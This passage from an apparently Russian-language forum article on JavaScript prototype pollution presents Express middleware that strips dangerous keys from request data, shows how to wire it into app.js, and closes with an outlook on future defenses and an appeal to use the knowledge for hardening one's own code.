`[Prototype Pollution Guard] Обнаружен и удален опасный ключ:${key}`
)
;
continue
;
}
// Рекурсивная очистка значения
sanitized
[
key
]
=
sanitizeObject
(
obj
[
key
]
,
seen
)
;
}
return
sanitized
;
}
module
.
exports
=
function
prototypePollutionGuard
(
req, res, next
)
{
// Очищаем body, query, params
if
(
req
.
body
)
{
req
.
body
=
sanitizeObject
(
req
.
body
)
;
}
if
(
req
.
query
)
{
req
.
query
=
sanitizeObject
(
req
.
query
)
;
}
if
(
req
.
params
)
{
req
.
params
=
sanitizeObject
(
req
.
params
)
;
}
next
(
)
;
}
;

Подключи его в своем app.js до любых роутов:

JavaScript:


Код:

const
express
=
require
(
'express'
)
;
const
app
=
express
(
)
;
const
prototypePollutionGuard
=
require
(
'./middleware/prototype-pollution-guard'
)
;
app
.
use
(
express
.
json
(
)
)
;
app
.
use
(
express
.
urlencoded
(
{
extended
:
true
}
)
)
;
app
.
use
(
prototypePollutionGuard
)
;
// Защита здесь!
// ... ваши роуты

Этот middleware - не серебряная пуля, но он создает серьезный барьер для большинства автоматических сканеров и простых атак.

Часть 5: Будущее. Куда движется фронт и что нас ждет?
Prototype Pollution - не новая проблема, но она обрела второе дыхание с ростом сложности JS-экосистемы. Что дальше?
  • Статические анализаторы станут умнее. Инструменты вроде CodeQL от GitHub уже имеют запросы для поиска Prototype Pollution. Они будут внедряться в CI/CD.
  • Язык будет защищаться. Флаг --disable-proto - первый шаг. Возможно, в будущих спецификациях ECMAScript появятся более строгие режимы, где модификация Object.prototype будет невозможна или будет требовать явного разрешения.
  • Фреймворки откажутся от mutable объектов по умолчанию. Тренд на иммутабельность (как в Immer) и использование Map/Set снижает риски.
  • Атаки станут тоньше. Мы уже видим exploitation не через proto, а через constructor.prototype или через геттеры в прототипах специфичных классов (например, в полифиллах). Исследователи будут искать цепочки гаджетов (gadget chains), которые превращают локальную поллюцию в полноценный RCE в конкретных библиотеках.
Заключение, брат.

Prototype Pollution - это не просто баг. Это напоминание. Напоминание о том, что JavaScript вырос из простого скриптового языка в монстра, на котором держится половина веба. И в его ДНК, в самой основе прототипного наследования, заложена и мощь, и уязвимость.

Понимание этой атаки - это не просто навык пентестера. Это глубокое понимание языка, в котором ты работаешь. Это способность видеть систему не как черный ящик, а как совокупность взаимосвязанных механизмов, каждый из которых может сломаться.

Мы прошли долгий путь: от основ прототипов до инструментов для сканирования и защиты. Ты теперь знаешь, где искать, как тестировать и как закрывать дыры.

Используй это знание с умом. Не для бессмысленного вандализма на левых сайтах, а для укрепления своих проектов, для аудита кода своей команды, для того чтобы стать тем самым человеком, который не просто пишет код, а понимает, как он работает на самом низком уровне.

Потому что в мире, полном абстракций, самое ценное - это понимание того, что под ними.

Код - закон. Но закон написан нами.


Время: 20:26